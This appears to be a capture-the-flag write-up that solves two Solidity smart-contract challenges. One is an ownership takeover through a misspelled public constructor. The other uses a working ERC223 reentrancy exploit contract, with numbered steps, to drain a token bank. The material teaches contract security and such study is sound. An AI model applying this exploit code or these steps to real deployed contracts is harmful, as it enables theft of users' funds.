Miscellaneous

Assume ownership

Code Audit

pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
    address owner;
    bool public isComplete;

    function AssumeOwmershipChallenge() public {
        owner = msg.sender;
    }

    function authenticate() public {
        require(msg.sender == owner);

        isComplete = true;
    }
}

Note that AssumeOwmershipChallenge() has a typo, so it is declared as a function instead of the constructor. Since this function is public, anyone can call it and reset the owner.

Solution

Copy and paste the challenge contract to Remix and interact with the instance via "At Address". Call AssumeOwmershipChallenge(), then call authenticate().

Token bank

Code Audit

pragma solidity ^0.4.21;

interface ITokenReceiver {
    function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
    // Track how many tokens are owned by each address.
    mapping (address => uint256) public balanceOf;

    string public name = "Simple ERC223 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    function SimpleERC223Token() public {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function isContract(address _addr) private view returns (bool is_contract) {
        uint length;
        assembly {
            //retrieve the size of the code on target address, this needs assembly
            length := extcodesize(_addr)
        }
        return length > 0;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        bytes memory empty;
        return transfer(to, value, empty);
    }

    function transfer(address to, uint256 value, bytes data) public returns (bool) {
        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);

        if (isContract(to)) {
            ITokenReceiver(to).tokenFallback(msg.sender, value, data);
        }
        return true;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
        public
        returns (bool success)
    {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
}

contract TokenBankChallenge {
    SimpleERC223Token public token;
    mapping(address => uint256) public balanceOf;

    function TokenBankChallenge(address player) public {
        token = new SimpleERC223Token();

        // Divide up the 1,000,000 tokens, which are all initially assigned to
        // the token contract's creator (this contract).
        balanceOf[msg.sender] = 500000 * 10**18;  // half for me
        balanceOf[player] = 500000 * 10**18;      // half for you
    }

    function isComplete() public view returns (bool) {
        return token.balanceOf(this) == 0;
    }

    function tokenFallback(address from, uint256 value, bytes) public {
        require(msg.sender == address(token));
        require(balanceOf[from] + value >= balanceOf[from]);

        balanceOf[from] += value;
    }

    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);

        require(token.transfer(msg.sender, amount));
        balanceOf[msg.sender] -= amount;
    }
}

Look at the withdraw() function:

function withdraw(uint256 amount) public {
	require(balanceOf[msg.sender] >= amount);

	require(token.transfer(msg.sender, amount));
	balanceOf[msg.sender] -= amount;
}

This function violates the "checks-effects-interactions" pattern, hence vulnerable to reentrancy attack. When token.transfer(msg.sender, amount) is called, the control flow goes into msg.sender's fallback function. If we call challenge.withdraw() again inside the fallback flow, the control flow will "re-enter" challenge.withdraw(). That is, TokenBankChallenge.withdraw() can be called many many times until all the fund in that contract is drained.

ERC223 is a superset of ERC20. The difference is ERC-223 "notifies" the recipient of a transfer by calling the recipient's tokenFallback function in case the recipient is a contract. This logic was implemented in token.transfer():

In this challenge, we will be using tokenFallback instead of the standard fallback function when building reentrancy attack exploit due to the design of ERC223. Besides this, the attack will be same as a standard reentrancy attack.

Solution

Write an exploit contract and deploy it in Remix:

pragma solidity ^0.4.21;

interface ITokenBankChallenge {
    function token() external returns (address);
    function balanceOf(address from) external returns (uint256);
    function isComplete() external view returns (bool);
    function withdraw(uint256 amount) external;
}
interface ISimpleERC223Token {
    function totalSupply() external returns (uint256);
    function balanceOf(address from) external returns (uint256);
    function transfer(address to, uint256 value) external returns (bool success);
    function approve(address spender, uint256 value) external returns (bool success);
    function transferFrom(address from, address to, uint256 value) external returns (bool success);
}

contract TokenBankSolution {
    ITokenBankChallenge public challenge;
    ISimpleERC223Token public token;
    uint256 private constant balance = 500000000000000000000000;
    uint256 counter;

    function TokenBankSolution(address _challenge) public {
        challenge = ITokenBankChallenge(_challenge);
        token = ISimpleERC223Token(challenge.token());
    }

    function stepThree(address _account) external {
        token.transferFrom(_account, address(this), balance);
    }

    function stepFour() external {
        token.transfer(address(challenge), balance);
    }

    function tokenFallback(address, uint256, bytes) public {
        counter++;
        if(counter <= 2){
            challenge.withdraw(balance);    
        }
    }

    function () public payable {}
}

Pay attention to the challenge.withdraw() function:

Note that the msg.sender here will be the exploit contract we just deployed. In order to pass this requirement, we need at least 500000000000000000000000 tokens in the exploit contract account. Since the initial balance of the exploit contract account is 0 and the initial balance of the player account is 500000000000000000000000, we can 1) convert all balances to tokens for the player account and 2) transfer all tokens from the player account to the exploit contract account, then 3) convert those tokens back to balance for the exploit contract account.

To exploit this challenge, do the following things in order:

  • Step 0: Interact with the challenge contract via "At Address". Get the token address via the getter challenge.token(). Interact with the token contract via "At Address".

  • Step 1 (manually): Call challenge.withdraw(500000000000000000000000) to convert all balances to tokens. Now the player account has 500000000000000000000000 tokens.

  • Step 2 (manually): Call token.approve(<exploit_contract_address>, 500000000000000000000000). This step prepares for token.transforFrom().

  • Step 3: Call stepThree(<your_Metamask_wallet_address>). This will transfer all the tokens from the player account to the exploit contract account.

  • Step 4: Call stepFour(). This will transfer all the token from the exploit contract account to the challenge contract account. The challenge.tokenFallback() function will be triggered, so challenge.balanceOf(<exploit_contract_address>) == 500000000000000000000000 now.

  • Step 5: Call tokenFallback(0x0000000000000000000000000000000000000000,1337,0x1337). This will trigger the reentrancy attack. Just pass in some junk parameters since they don't matter.

  • Step 6: Call challenge.isComplete() to verify if the reentrancy attack succeeded.

Here step 1 and step 2 are done manually because they are involved with msg.sender, which is supposed to be our Metamask wallet address.

Last updated